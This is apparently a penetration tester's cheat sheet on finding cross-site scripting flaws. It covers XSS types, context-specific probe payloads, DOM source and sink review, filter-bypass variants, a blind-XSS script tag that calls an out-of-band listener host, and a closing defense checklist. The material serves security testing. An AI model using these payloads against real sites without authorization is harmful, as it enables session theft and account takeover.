1. Types of XSS

TypeWhere the payload livesHow it fires
ReflectedIn the request (URL param, form field, header)Server echoes the input back in the response without encoding; victim must be tricked into clicking a crafted link
StoredPersisted server-side (DB, file, log)Payload is saved once, then served to any user who later views the affected page/record — no per-victim link needed, higher impact
DOM-basedNever touches the server — client-side JS reads attacker-controlled data (location, document.referrer, postMessage, URL fragment) and writes it into a dangerous sinkEntirely client-side; invisible in server logs/response source, only visible by reading the JS
BlindStored, but the output renders somewhere the attacker can’t directly see (admin panel, support ticket backend, log viewer)Confirmed via out-of-band callback (e.g., an XSS payload that pings a listener like interactsh/Burp Collaborator when it executes)

2. How to Test

2.1 General approach

  1. Map every input — not just visible form fields: URL params, hidden fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), file upload names/metadata, API JSON bodies, WebSocket messages.
  2. Identify where it’s reflected/rendered — view source and dev tools to see which context the input lands in (HTML body, attribute, <script> block, URL, CSS) — this decides which payload shape will actually execute.
  3. Start with a harmless canary before a real payload, to confirm reflection/storage without triggering WAF/filter rules immediately:
    • unit363XSStest or similar unique string — search the response for it unescaped.
  4. Check encoding behavior — does < come back as <, &lt;, or get stripped? This tells you if you need a full tag, an attribute-breakout, or a filter bypass.
  5. Escalate to context-appropriate payload once you know the sink.

2.2 Context-specific probes

Context in responseProbe patternGoal
HTML body<script>alert(document.domain)</script> or <img src=x onerror=alert(1)>Confirm raw tag injection
HTML attribute (e.g. value="...")"><script>alert(1)</script> or " onmouseover="alert(1)Break out of the attribute
Inside <script> block';alert(1);// or </script><script>alert(1)</script>Break out of the JS string/block
URL context (href, src)javascript:alert(1)Confirm scheme isn’t validated
CSS contextexpression(alert(1)) (legacy IE) or url(javascript:...)Rarely exploitable in modern browsers, check anyway

2.3 Reflected XSS

  • Put the canary in every GET/POST param, including ones not shown in the UI but visible in network requests.
  • Check all response locations, not just the “obvious” echo — some apps reflect input into a different field (search term into a “no results for X” message, error pages, autocomplete suggestions).

2.4 Stored XSS

  • Submit the payload anywhere persisted (profile fields, comments, filenames, support tickets, display names) and then view it as a different user/role — storage + self-view only proves half the bug; viewing as another identity (especially higher-priv) demonstrates real impact.
  • Check less-obvious render surfaces: admin dashboards showing usernames/filenames, email notifications rendering HTML, PDF/export generation that includes user data.

2.5 DOM-based XSS

  • Can’t rely on server response/view-source — you have to read the client-side JS.
  • Search JS for sources (location.href, location.hash, location.search, document.referrer, window.name, postMessage listeners, localStorage reads) feeding into sinks (innerHTML, outerHTML, document.write, eval, setTimeout(string), setAttribute('src'/'href'), dangerouslySetInnerHTML, v-html).
  • Test via the URL fragment (#) specifically — fragments aren’t sent to the server, so this is the classic “nothing in the request log but it still fires” case.
  • Browser dev tools: set a breakpoint on the sink (e.g., “DOM breakpoint” on attribute modification) and trace back to confirm attacker control.

2.6 Blind XSS

  • Use when payload lands somewhere you can’t view directly (admin-only area, backend log viewer, contact-form-to-support-ticket pipelines).

  • Payload includes a callback to an out-of-band listener, e.g.:

    <script src="https://YOUR-SUBDOMAIN.oast.site"></script>
    
  • Submit broadly (every field that might be read by a privileged user later) and monitor the listener for hits — can take time, since it depends on when/if someone with access views the data.

2.7 Filter/WAF bypass ideas (test systematically, don’t just throw random payloads)

  • Case variation: <ScRiPt>
  • Alternate tags/event handlers: <svg onload=alert(1)>, <body onload=alert(1)>, <details open ontoggle=alert(1)>
  • Encoding: HTML entities, URL encoding, double encoding, Unicode
  • Null bytes / whitespace tricks between tag name and attributes
  • Breaking keyword matching: <scr<script>ipt> (if filter does a single non-recursive strip of <script>)

2.8 Confirming impact beyond alert()

  • alert()/console.log only proves execution. For a real finding, demonstrate actual impact relevant to the app: cookie/session token exfiltration (if not HttpOnly), CSRF-token theft, keylogging a login form, or a forced action via fetch()/XHR using the victim’s session.
  • Document: exact payload, exact field/parameter, exact context, and a screenshot showing execution (dialog box or network callback).

2.9 Quick defense check (for reporting / fix verification)

  • Is output HTML-entity encoded for context?
  • Is there a CSP, and does it actually block inline scripts (no unsafe-inline)?
  • Are session cookies HttpOnly?